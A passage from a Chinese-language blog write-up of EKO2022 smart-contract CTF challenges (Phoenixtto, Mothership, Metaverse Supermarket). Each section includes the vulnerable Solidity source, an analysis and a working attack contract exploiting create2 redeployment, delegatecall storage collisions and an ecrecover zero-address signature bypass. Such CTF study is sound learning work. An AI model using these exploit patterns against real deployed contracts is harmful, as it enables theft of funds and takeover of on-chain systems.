        PLAYER = _player;
    }

    function mergePhoenixDitto() public {
        reBorn(type(Phoenixtto).creationCode);
    }

    function reBorn(bytes memory _code) public {
        address x;
        assembly {
            x := create(0, add(0x20, _code), mload(_code))
        }
        getImplementation = x;

        _code = hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3";
        assembly {
            x := create2(0, add(_code, 0x20), mload(_code), 0)
        }
        addr = x;
        Phoenixtto(x).reBorn();
    }

    function isCaught() external view returns (bool) {
        return Phoenixtto(addr).owner() == PLAYER;
    }
}

contract Phoenixtto {
    address public owner;
    bool private _isBorn;

    function reBorn() external {
        if (_isBorn) return;

        _isBorn = true;
        owner = address(this);
    }

    function capture(string memory _newOwner) external {
        if (!_isBorn || msg.sender != tx.origin) return;

        address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))));
        if (newOwner == msg.sender) {
            owner = newOwner;
        } else {
            selfdestruct(payable(msg.sender));
            _isBorn = false;
        }
    }
}

2. analysis

我认为最主要是考察hex"5860208158601c335a63aaf10f428752fa158151803b80938091923cf3",利用getImplementation的运行代码,执行create2指令,最后获取一个地址,该地址和第一次调用reBorn()时生成的addr是相同的,期间无论如何修改形参_code的值,addr的值都是同一个,但是重点来了,此时部署出来的addr的合约功能取决于形参_code,这意味着地址还是那个地址,但是内部的代码却大变样了,这个真的很离谱,第一次接触的我大为震惊。

所以说,只要重新通过调用reBorn函数,并传入指定的bytecode,被create2生成出来的addr,则会具备我指定的功能(由我传入的bytecode决定),但是在调用reBorn函数之前,需要将之前部署的addrkill掉。而capture函数则提供了可行性,但是有个if (!_isBorn || msg.sender != tx.origin) return;限制条件,简单,所以需要手动去毁掉addr合约。

当然,这题好像还有一种解决办法,就是通过capture函数进行捕获,address newOwner = address(uint160(uint256(keccak256(abi.encodePacked(_newOwner)))))这很明显就是publickey=>address的计算式,所以只要将player的publickey传入即可capture它,但是,形参是string类型的,公钥是bytes32类型的,我不知道咋转,这个思路就先搁置了。

3. solve

攻击合约

contract PhoenixttoHacker {

    Laboratory laboratory;

    constructor(address _laboratory) {
        laboratory = Laboratory(_laboratory);
    }

    function attack() public {
        laboratory.reBorn(type(PhoenixttoHelper).creationCode);
        require(laboratory.isCaught(), "You don't catch it...");
    }
}

contract PhoenixttoHelper {

    address public owner;

    function reBorn() public {
         owner = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; // player'address
    }
}

image.png

Mothership

1.question

You and a small group of scientists have been working on a global counteroffensive against the invader. We've recovered some of the ship's source code and need to find a way to hack it! You have already studied the code and realized that to survive you need to take control of the Mothership. Your objective is to hack the Mothership instance (change the hacked bool to true). Good luck, the earth's future depends on you!

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

/// @title Hack the Mothership
/// @author https://twitter.com/nicobevi_eth
/// @notice A big alien float is near the Earth! You and an anon group of scientists have been working on a global counteroffensive against the invader. Hack the Mothership, save the earth
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/hack-the-mothership
contract Mothership {
    address public leader;

    SpaceShip[] public fleet;
    mapping(address => SpaceShip) public captainRegisteredShip;

    bool public hacked;

    constructor() {
        leader = msg.sender;

        address[5] memory captains = [
            0x0000000000000000000000000000000000000001,
            0x0000000000000000000000000000000000000002,
            0x0000000000000000000000000000000000000003,
            0x0000000000000000000000000000000000000004,
            0x0000000000000000000000000000000000000005
        ];

        // Adding standard modules
        address cleaningModuleAddress = address(new CleaningModule());
        address refuelModuleAddress = address(new RefuelModule());
        address leadershipModuleAddress = address(new LeadershipModule());

        for (uint8 i = 0; i < 5; i++) {
            SpaceShip _spaceship = new SpaceShip(
                captains[i],
                address(this),
                cleaningModuleAddress,
                refuelModuleAddress,
                leadershipModuleAddress
            );
            fleet.push(_spaceship);
            captainRegisteredShip[captains[i]] = _spaceship;
        }
    }

    function addSpaceShipToFleet(SpaceShip spaceship) external {
        require(leader == msg.sender, "You are not our leader");
        fleet.push(spaceship);
        captainRegisteredShip[spaceship.captain()] = spaceship;
    }

    function _isFleetMember(SpaceShip spaceship) private view returns (bool isFleetMember) {
        uint8 len = uint8(fleet.length);
        for (uint8 i; i < len; ++i) {
            if (address(fleet[i]) == address(spaceship)) {
                isFleetMember = true;
                break;
            }
        }
    }

    /**
     * A new captain will be promoted if:
     *     1. Ship is part of the fleet
     *     2. Ship has no captain
     *     3. The new captain is not a captain already
     */
    function assignNewCaptainToShip(address _newCaptain) external {
        SpaceShip spaceship = SpaceShip(msg.sender);

        require(_isFleetMember(spaceship), "You're not part of the fleet");
        require(spaceship.captain() == address(0), "Ship has a captain");
        require(address(captainRegisteredShip[_newCaptain]) == address(0), "You're a captain already");

        // register ship to captain
        captainRegisteredShip[_newCaptain] = spaceship;

        // Communicate that new captain has been approved to ship
        spaceship.newCaptainPromoted(_newCaptain);
    }

    /**
     * A captain will be assigned as leader of the fleet if:
     *     1. The proposed leader is a spaceship captain
     *     2. All the other ships approve the promotion
     */
    function promoteToLeader(address _leader) external {
        SpaceShip leaderSpaceship = captainRegisteredShip[_leader];

        // should have a registered ship
        require(address(leaderSpaceship) != address(0), "is not a captain");

        // should be approved by other captains
        uint8 len = uint8(fleet.length);
        for (uint8 i; i < len; ++i) {
            SpaceShip spaceship = fleet[i];
            // ignore captain ship
            if (address(spaceship) == address(leaderSpaceship)) {
                continue;
            }
            // should not revert if captain approves the new leader
            LeadershipModule(address(spaceship)).isLeaderApproved(_leader);
        }

        // remove captain from his ship
        delete captainRegisteredShip[_leader];
        leaderSpaceship.newCaptainPromoted(address(0));

        leader = _leader;
    }

    function hack() external {
        require(leader == msg.sender, "You are not our leader");
        hacked = true;
    }

    function fleetLength() external view returns (uint256) {
        return fleet.length;
    }

    /**
     * ...the rest of the code is lost
     */
}

contract SpaceShip {
    address public captain;
    address[] public crew;
    Mothership public mothership;

    mapping(bytes4 => address) public modules;

    constructor(
        address _captain,
        address _mothership,
        address _cleaningModuleAddress,
        address _refuelModuleAddress,
        address _leadershipModuleAddress
    ) {
        captain = _captain;
        mothership = Mothership(_mothership);

        // Adding standard modules
        modules[CleaningModule.replaceCleaningCompany.selector] = _cleaningModuleAddress;
        modules[RefuelModule.addAlternativeRefuelStationsCodes.selector] = _refuelModuleAddress;
        modules[LeadershipModule.isLeaderApproved.selector] = _leadershipModuleAddress;
    }

    function _isCrewMember(address member) private view returns (bool isCrewMember) {
        uint256 len = uint256(crew.length);
        for (uint256 i; i < len; ++i) {
            if (crew[i] == member) {
                isCrewMember = true;
                break;
            }
        }
    }

    function newCaptainPromoted(address _captain) external {
        require(msg.sender == address(mothership), "You are not our mother");
        captain = _captain;
    }

    function askForNewCaptain(address _newCaptain) external {
        require(_isCrewMember(msg.sender), "Not part of the crew");
        require(captain == address(0), "We have a captain already");
        mothership.assignNewCaptainToShip(_newCaptain);
    }

    /**
     * This SpaceShip model has an advanced module system
     *     Only the captain can upgrade the ship
     */
    function addModule(bytes4 _moduleSig, address _moduleAddress) external {
        require(msg.sender == captain, "You are not our captain");
        modules[_moduleSig] = _moduleAddress;
    }

    // solhint-disable-next-line no-complex-fallback
    fallback() external {
        bytes4 sig4 = msg.sig;

        address module = modules[sig4];
        require(module != address(0), "invalid module");

        // call the module
        // solhint-disable-next-line avoid-low-level-calls
        (bool success,) = module.delegatecall(msg.data);
        if (!success) {
            // return response error
            assembly {
                returndatacopy(0, 0, returndatasize())
                revert(0, returndatasize())
            }
        }
    }
}

contract CleaningModule {
    address private cleaningCompany;

    function replaceCleaningCompany(address _cleaningCompany) external {
        cleaningCompany = _cleaningCompany;
    }

    /**
     * ...the rest of the code is lost
     */
}

contract RefuelModule {
    uint256 private mainRefuelStation;
    uint256[] private alternativeRefuelStationsCodes;

    function addAlternativeRefuelStationsCodes(uint256 refuelStationCode) external {
        alternativeRefuelStationsCodes.push(refuelStationCode);
    }

    /**
     * ...the rest of the code is lost
     */
}

contract LeadershipModule {
    function isLeaderApproved(address) external pure {
        revert("We don't want a new leader :(");
    }

    /**
     * ...the rest of the code is lost
     */
}

/**
 * ...the rest of the code is lost
 */

2. analysis

这题很有意思,考察了很多点:

  1. 仔细分析题目:要想使hacked变成true,只能通过hack函数,而调用该函数的前提是成为leaderpromoteToLeader函数提供了可行性,但是需要通过一系列限制,分析promoteToLeader函数
    function promoteToLeader(address _leader) external {
        SpaceShip leaderSpaceship = captainRegisteredShip[_leader];

        // should have a registered ship
        require(address(leaderSpaceship) != address(0), "is not a captain");

        // should be approved by other captains
        uint8 len = uint8(fleet.length);
        for (uint8 i; i < len; ++i) {
            SpaceShip spaceship = fleet[i];
            // ignore captain ship
            if (address(spaceship) == address(leaderSpaceship)) {
                continue;
            }
            // should not revert if captain approves the new leader
            LeadershipModule(address(spaceship)).isLeaderApproved(_leader);
        }

        // remove captain from his ship
        delete captainRegisteredShip[_leader];
        leaderSpaceship.newCaptainPromoted(address(0));

        leader = _leader;
    }

首先是满足captainRegisteredShip[_leader] != address(0),要想满足该条件只能通过assignNewCaptainToShip函数,分析assignNewCaptainToShip函数可知,第一关则是满足isFleetMember(SpaceShip(msg.sender))==true,于是乎,看到_isFleetMember(SpaceShip spaceship)函数,只有spaceship被加入到fleet中才能返回true,而msg.sender是没有被加入到fleet中的,唯一的添加途径是通过addSpaceShipToFleet函数,但是该函数只能由leader调用,我们的初衷就是成为leader,所以该方法不可行。

  1. 看到SpaceShip合约,askForNewCaptain函数中有这样一句代码mothership.assignNewCaptainToShip(_newCaptain);,意味着可以通过该函数调用MotherShip中的assignNewCaptainToShip,因为该spaceship可以从公开的fleet中获取其地址,从而进行操作。

  2. 要想成功调用该函数,需要满足两个限制条件,require(_isCrewMember(msg.sender), "Not part of the crew"); require(captain == address(0), "We have a captain already");这里很巧妙的,看到该合约的回调函数fallback,其函数的逻辑和代理合约中的回调函数简直一模一样,只不过它只能调用某些限定的函数,但这无所谓了,这几个函数已经可以满足要求了,delegatacall调用最容易发生的就是插槽冲突从而导致的覆盖。SpaceShip中的_isCrewMember函数,需要member为crew中的成员才返回true,而RefuelModule合约中的addAlternativeRefuelStationsCodes,则为我提供了使得member成为crew中的一员的可能性。再看到CleaningModule合约的replaceCleaningCompany函数为修改captain的值提供了可行性。当然,还有一点很重要就是要先成为captain,为了调用addModule函数,将modules[LeadershipModule.isLeaderApproved.selector]对应的地址修改为hacker的地址,其目的是为了成功MotherShip中promoteToLeader函数中的LeadershipModule(address(spaceship)).isLeaderApproved(_leader);,因为原始的LeadershipModule中的该函数不能调用成功,所以这里有点繁琐,需要通过for循环将fleet中的5个LeadershipModule全部改掉。

  3. 完成上述步骤之后,hacker可以成为leader了,然后调用hack函数,攻击该母舰。

📌 woc,分析出来之后,然后酷酷写代码,写了这么多!!!!居然一次就hack成功了!!!

3. solve

攻击合约

攻击逻辑:先部署LeadershipFake,然后部署MotherShip,将部署出来的mothership地址用于部署MotherShipHacker,然后将LeadshipFake传入attack函数中,即可完成攻击。

contract MotherShipHacker {

    Mothership  mothership;
    SpaceShip spaceship;

    constructor(address _mothership) {
        mothership = Mothership(_mothership);
        spaceship = mothership.fleet(0);
    }

    function attack(address leadershipFake) public {

        // change spaceship's LeadershipModule
        for (uint i; i < 5; i++) {
            SpaceShip _spaceship = mothership.fleet(i);
            // become SpaceShip's captain
            address(_spaceship).call(abi.encodeWithSelector(CleaningModule.replaceCleaningCompany.selector, address(this)));
            _spaceship.addModule(bytes4(abi.encodeWithSignature("isLeaderApproved(address)")), leadershipFake);
        }

        /* operate the spaceship */
        // change spaceship's captain to address(0)
        address(spaceship).call(abi.encodeWithSelector(CleaningModule.replaceCleaningCompany.selector, address(0)));
        // push hacker into crew
        address(spaceship).call(abi.encodeWithSelector(RefuelModule.addAlternativeRefuelStationsCodes.selector, uint(uint160(address(this)))));

        // call MotherShip's assignNewCaptainToShip
        spaceship.askForNewCaptain(address(this));

        // become MotherShi's leader
        mothership.promoteToLeader(address(this));

        // hack the mothership
        mothership.hack();

        require(mothership.hacked(), "The mothership is not been hacked...");
    }

}

contract LeadershipFake {
    function isLeaderApproved(address) external pure {}
}

image.png

Metaverse Supermarket

1.question

We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. Stability has become a scarce resource and even going to the store is a painful experience: we need to rely on oracles that sign off-chain data that lasts a couple of blocks because updating prices on-chain would be complete madness. You are out of INFLAs and you are starving, can you defeat the system?

源码

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/25fe191202c44c762bc2a933913e21b37200f0e9/contracts/utils/cryptography/EIP712.sol";

struct OraclePrice {
    uint256 blockNumber;
    uint256 price;
}

struct Signature {
    uint8 v;
    bytes32 r;
    bytes32 s;
}

abstract contract InflaStoreEIP712 is EIP712 {
    bytes32 public constant ORACLE_PRICE_TYPEHASH = keccak256("OraclePrice(uint256 blockNumber,uint256 price)");

    function _hashOraclePrice(OraclePrice memory oraclePrice) internal view returns (bytes32 hash) {
        return _hashTypedDataV4(
            keccak256(abi.encode(ORACLE_PRICE_TYPEHASH, oraclePrice.blockNumber, oraclePrice.price))
        );
    }
}

/// @title Metaverse Supermarket
/// @author https://twitter.com/adrianromero
/// @notice We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. You are out of INFLAs and you are starving, can you defeat the system?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/metaverse-supermarket
contract InflaStore is InflaStoreEIP712 {
    Meal public immutable meal;
    Infla public immutable infla;

    address private owner;
    address private oracle;

    uint256 public constant MEAL_PRICE = 1e6;
    uint256 public constant BLOCK_RANGE = 10;

    constructor(address player) EIP712("InflaStore", "1.0") {
        meal = new Meal();
        infla = new Infla(player, 10);
        owner = msg.sender;
    }

    function setOracle(address _oracle) external {
        require(owner == msg.sender, "!owner");
        oracle = _oracle;
    }

    function buy() external {
        _mintMeal(msg.sender, MEAL_PRICE);
    }

    function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external {
        _validateOraclePrice(oraclePrice, signature);
        _mintMeal(msg.sender, oraclePrice.price);
    }

    function _mintMeal(address buyer, uint256 price) private {
        infla.transferFrom(buyer, address(this), price);
        meal.safeMint(buyer);
    }

    function _validateOraclePrice(OraclePrice calldata oraclePrice, Signature calldata signature) private view {
        require(block.number - oraclePrice.blockNumber < BLOCK_RANGE, "price too old!");

        bytes32 oracleHash = _hashOraclePrice(oraclePrice);
        address recovered = _recover(oracleHash, signature.v, signature.r, signature.s);

        require(recovered == oracle, "not oracle!");
    }

    function _recover(bytes32 digest, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
        require(v == 27 || v == 28, "invalid v!");
        return ecrecover(digest, v, r, s);
    }
}

import "https://github.com/transmissions11/solmate/blob/c2594bf4635ad773a8f4763e20b7e79582e41535/src/tokens/ERC721.sol";

contract Meal is ERC721("Meal", "MEAL") {
    address private immutable _owner;
    uint256 private _tokenIdCounter;

    constructor() {
        _owner = msg.sender;
    }

    function safeMint(address to) external {
        require(_owner == msg.sender, "Only owner can mint");
        uint256 tokenId = _tokenIdCounter;
        unchecked {
            ++_tokenIdCounter;
        }
        _safeMint(to, tokenId);
    }

    function tokenURI(uint256) public pure override returns (string memory) {
        return "ipfs://QmQqCFY7Dt9SFgadayt8eeTr7i5XauiswxeLysexbymGp1";
    }
}

import "https://github.com/transmissions11/solmate/blob/c2594bf4635ad773a8f4763e20b7e79582e41535/src/tokens/ERC20.sol";

contract Infla is ERC20("INFLA", "INF", 18) {
    constructor(address player, uint256 amount) {
        _mint(player, amount);
    }
}

2. analysis

这道题要求是让自己不挨饿,什么意思呢,就是拥有meal,即ERC721代币不为零,而能铸币的函数只有两个,buy() 和 buyUsingOracle(),想要“吃饭”必须要有MEAL_PRICE这么多钱,而我们手中的钱远远不够,所以,只能通过buyUsingOracle()函数。分析_validateOraclePrice()函数,要求传入两个结构体,通过OraclePrice获取签名,且签名结果已被固定算法生成了,所以这几乎是不可能通过recover恢复出的地址和oracle相同(*当然,这是在oracle被初始化的情况下,但实际上,该oracle并没有被初始化,其值为address(0))所以,这要让_recover(oracleHash, signature.v, signature.r, signature.s)返回address(0)即可。

如何返回address(0)呢,只要让ecrecover在计算过程中出现错误即可返回address(0)那么该如何出错呢, 查了一下资料,只需让signature.v 不等于27或28,或signature.r=0,或signature.s=0即可。

还有一点,就是想要通过Infla合约,让player给InflaStore合约授权,为了执行infla.transferFrom(buyer, address(this), price);,同时hacker合约需要实现IERC721Receiver接口,否则,meal.safeMint(buyer);将无法执行。

3. solve

攻击逻辑:先部署hacker,让hacker成为InflaStore的player,再然后,调用attack传入inflastore,即可完成攻击。

攻击合约

interface IERC721Receiver {

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract SupermarketHacker is IERC721Receiver {

    InflaStore store;
    Meal meal;
    Infla infla;
    address hacker;

    function attack(address _store) public {

        // init
        store = InflaStore(_store);
        meal = store.meal();
        hacker = msg.sender;
        infla = store.infla();

        // create signature
        Signature memory signature = Signature(27, 0, 0);
        // create oracleprice
        OraclePrice memory oracleprice = OraclePrice(block.number, 1);
        // ERC20 approve
        infla.approve(address(store), type(uint).max);
        // mint meal
        store.buyUsingOracle(oracleprice, signature);
        require(meal.balanceOf(address(this)) > 0, "you have not meal, you still stave...");
    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }
}

image.png

嗯哼,收工~🤪

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
BY_DLIFE
BY_DLIFE
0x39CF...9999
立志成为一名优秀的智能合约审计师、智能合约开发工程师,文章内容为个人理解,如有错误,欢迎在评论区指出。